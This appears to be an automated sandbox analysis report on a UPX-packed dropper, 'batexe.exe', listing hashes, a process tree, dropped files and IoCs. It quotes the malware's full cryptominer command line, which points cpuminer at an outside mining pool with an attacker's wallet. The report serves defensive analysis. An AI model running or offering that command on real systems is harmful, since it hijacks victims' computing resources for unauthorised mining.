73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
294s
platform
windows10-1703_x64
resource
win10-20231220-ja
resource tags

arch:x64arch:x86image:win10-20231220-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
14/02/2024, 16:17

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3968	b2e.exe
348	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
348	cpuminer-sse2.exe
348	cpuminer-sse2.exe
348	cpuminer-sse2.exe
348	cpuminer-sse2.exe
348	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/5032-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5032 wrote to memory of 3968	5032	batexe.exe	75
PID 5032 wrote to memory of 3968	5032	batexe.exe	75
PID 5032 wrote to memory of 3968	5032	batexe.exe	75
PID 3968 wrote to memory of 2544	3968	b2e.exe	76
PID 3968 wrote to memory of 2544	3968	b2e.exe	76
PID 3968 wrote to memory of 2544	3968	b2e.exe	76
PID 2544 wrote to memory of 348	2544	cmd.exe	79
PID 2544 wrote to memory of 348	2544	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5032
- C:\Users\Admin\AppData\Local\Temp\9819.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\9819.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9819.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3968
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9A2D.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2544
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:348

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\9819.tmp\b2e.exe

Filesize
12.2MB

MD5
14e0e750ea1582bd44093be1166b3f48

SHA1
0fc0f227cbb9fba9eb331f337e2b1b455f31ecc7

SHA256
d27e4cd929a3da75d2fdfde20a85a898fd8817c16509a5a4db56e1eb31cdbc67

SHA512
e0dcc41cfb30bc9692161e55f43a0cb42bff0572858a4e2e90b04c2a2f1a37ecc493ccf667f7902c5f1968c4bab07c2d142cfb62ae7721596b9472ae4af7e1a0

Download Submit
C:\Users\Admin\AppData\Local\Temp\9819.tmp\b2e.exe

Filesize
12.0MB

MD5
86a77b50cf5abb0234ded186794f77b6

SHA1
79ad937cfed5214b2ffa935c41e8717c4f1cf929

SHA256
434944733d8e4800ef68f02ae9b23a06a8393825c1bf22a81d27e8c4189c0adb

SHA512
9b34fef0da63ff71bbe84a9a3e4decc583872d3bcf60ba6ac662c8e3f2edc0c53c8e94145e6096e7606ac3c5f8588b0ee31201ec6d234eb43ad892e764696c71

Download Submit
C:\Users\Admin\AppData\Local\Temp\9A2D.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.8MB

MD5
2056c385989ab8c0dadcc31154286b77

SHA1
a6cf87cdbc2c7ad880457eb316323771e4e18df9

SHA256
cbe19b7ab10e94e25dbcf24c8ddba02fc34acea40f3548a49f8352c67634145f

SHA512
00ce7a19094149aa425a0ab36f9006f2d86ec45c0565cb51df9ef2095e1b1c710aef23c5f810b7c7c473bef8a12a37ebdf9c246b9fcea631216133fa11360b04

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.1MB

MD5
8027fb37b63fa3e8d5e9147e11428317

SHA1
7ab9cfa6d1c77d57a0989dbe0a897d27362b32f5

SHA256
dd93cc897350bb456115d9356d0078c86a5d7df7d40e4b521f891889d2299615

SHA512
d78038e00cc38387cebe990b2eb4793f1a5568847ff9f0fb1853f0f389024d677dd4b782d39d0f8a315272b404cc306398c1e4256f9f76880a4183d4ce70e88c

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
7.4MB

MD5
879332762ee28feca27af4cf6534a3d6

SHA1
24561be1ce540922f2274f1e0d03f4d8a33ae6a4

SHA256
63b85342443983647e6555893008e155fa251d6d6fb977b56e2171be95234774

SHA512
4656d162edc2e09c12d67817abfa709fee0f8818f7ff2730a4cc819498678b440971caf9123f8088a5b4cbe8473ff6ac182c50a64cea52fef59c8a2d40454601

Download Submit
memory/348-43-0x000000005F5C0000-0x000000005F658000-memory.dmp

Filesize
608KB

Download
memory/348-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/348-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/348-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/348-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/348-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/348-44-0x00000000010E0000-0x0000000002995000-memory.dmp

Filesize
24.7MB

Download
memory/348-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/348-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/348-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/348-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/348-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/348-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/348-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/348-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3968-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3968-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5032-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download